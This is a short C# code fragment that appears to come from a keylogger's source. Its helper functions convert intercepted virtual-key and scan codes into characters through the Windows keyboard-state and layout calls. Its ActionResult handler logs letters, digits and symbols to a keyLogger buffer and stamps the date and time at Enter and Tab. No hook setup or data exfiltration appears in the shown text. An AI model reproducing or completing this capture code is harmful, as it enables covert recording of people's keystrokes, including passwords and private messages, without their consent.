public char InterpretAscii(DataKey dataKey) { char key; byte[] keyboardState = new byte[256]; GetKeyboardState(keyboardState); ToAscii( dataKey.VirtualKeyCode, dataKey.ScanCode, keyboardState, out key, dataKey.Flags); return key; }
public char InterpretAsciiEx(DataKey dataKey) { char key; byte[] keyboardState = new byte[256]; GetKeyboardState(keyboardState); IntPtr keyboardLayout = GetKeyboardLayoutCurrentWindow(); ToAsciiEx( dataKey.VirtualKeyCode, dataKey.ScanCode, keyboardState, out key, dataKey.Flags, keyboardLayout); return key; }
bool ActionResult(DataKey dataKey) { int scanCode = dataKey.ScanCode; if (scanCode == 0 || scanCode == 57 || scanCode > 1 && scanCode < 14 || scanCode > 15 && scanCode < 28 || scanCode > 29 && scanCode < 41 || scanCode > 42 && scanCode < 54) { char symbols = interpreterKeys.InterpretAsciiEx(dataKey); keyLogger.WriteBuffer(symbols); } if (scanCode == 28 || scanCode == 15 || scanCode == 64) { keyLogger.WriteBuffer(Environment.NewLine); keyLogger.WriteBuffer(DateTime.Now.ToString()); keyLogger.WriteBuffer(Environment.NewLine); } return true; }